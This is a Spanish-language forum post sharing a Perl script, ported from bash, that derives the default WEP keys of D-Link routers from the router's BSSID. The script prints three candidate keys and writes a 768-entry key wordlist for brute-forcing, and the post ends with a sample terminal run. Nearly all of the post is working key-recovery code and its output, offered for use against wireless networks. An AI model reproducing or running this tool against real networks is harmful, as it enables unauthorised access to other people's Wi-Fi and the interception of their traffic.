Hola muy buenas,
Hace unos días porte esta herramienta a PERL para que quedaría un poco más limpio, puede que tenga algunos fallos, cualquier cosa que vean me dicen y lo arreglo:
#!/usr/bin/perl -w
# dlinkdecrypter.pl v0.1
# written by ka0x <ka0x01[alt+64]gmail.com>
# www.domlabs.org
# Basado en el script en bash realizado por hrodgar y Pianista de seguridadwireless.net
# http://www.domlabs.org/files/codes/dlinkdecrypter.sh
my $mac = uc($ARGV[0]);
my $file = $ARGV[1];
die &usage unless $ARGV[1];
sub usage {
print "\n\t","-=-" x 7,"\n";
print "\t DLinkDecrypter.pl\n";
print "\t written by ka0x\n";
print "\t","-=-" x 7,"\n\n";
print "[*] usage: perl $0 <BSSID> <output file>\n";
print "[*] ex: perl $0 00:19:5B:44:37:87 keys_dlink.txt\n\n";
exit 1;
}
if(length($mac) != 17){
die "[-] Longitud de MAC Incorrecta\n" ;
}
my @macb = split(/\:/,$mac) ;
my $p_byte = substr($macb[5],0,1);
my $f_byte = substr($macb[5],1,1);
my $s1 = $p_byte ;
my $s2 = chr(ord( $f_byte )-1);
if($f_byte eq 0){
$s2 = 'F';
$s1 = chr(ord( $p_byte )-1);
$s1 = 9 if($p_byte eq "A");
if($p_byte eq 0){
$s1 = 0;
$s2 = 0;
}
}
$s2 = 9 if($f_byte eq "A");
print "- Wep key default DLink\n";
print "\n\tOpcion 1: ".$macb[5].$macb[0].$macb[4].$macb[1].$macb[2].$macb[3].$macb[5].$macb[4].$macb[1].$macb[2].$macb[3].$macb[0].$macb[2],"\n";
print "\tOpcion 2: ".$s1.$s2.$macb[0].$macb[4].$macb[1].$macb[2].$macb[3].$macb[5].$macb[4].$macb[1].$macb[2].$macb[3].$macb[0].$macb[2],"\n";
print "\tOpcion 3: ".$s1.$s2.$macb[0].$macb[4].$macb[1].$macb[2].$macb[3].$s1.$s2.$macb[4].$macb[1].$macb[2].$macb[3].$macb[0].$macb[2],"\n";
die "\n[-] El archivo '$file' ya existe.\n" if(-e $file);
open(KEYS, ">>$file") || die $!,"\n";
foreach $f(0..9,A..F){
foreach $t(0..9,A..F){
print KEYS $macb[5].$macb[0].$macb[4].$macb[1].$macb[2].$macb[3].$macb[5].$macb[4].$macb[1].$macb[2].$macb[3].$macb[0].$f.$t,"\n";
print KEYS $s1.$s2.$macb[0].$macb[4].$macb[1].$macb[2].$macb[3].$macb[5].$macb[4].$macb[1].$macb[2].$macb[3].$macb[0].$f.$t,"\n";
print KEYS $s1.$s2.$macb[0].$macb[4].$macb[1].$macb[2].$macb[3].$s1.$s2.$macb[4].$macb[1].$macb[2].$macb[3].$macb[0].$f.$t,"\n";
}
}
close(KEYS);
print "\n[+] Archivo de claves '$file', generado.\n";
__END__
ka0x@domlabs:~$ perl dlinkdecrypter.pl
00:19:5a:33:55:EA keys.txt- Wep key default DLink
Opcion 1: EA0055195A33EA55195A33005A
Opcion 2: E90055195A33EA55195A33005A
Opcion 3: E90055195A33E955195A33005A
- Archivo de claves 'keys.txt', generado.
ka0x@domlabs:~$ cat keys.txt | wc -l
768
ka0x@domlabs:~$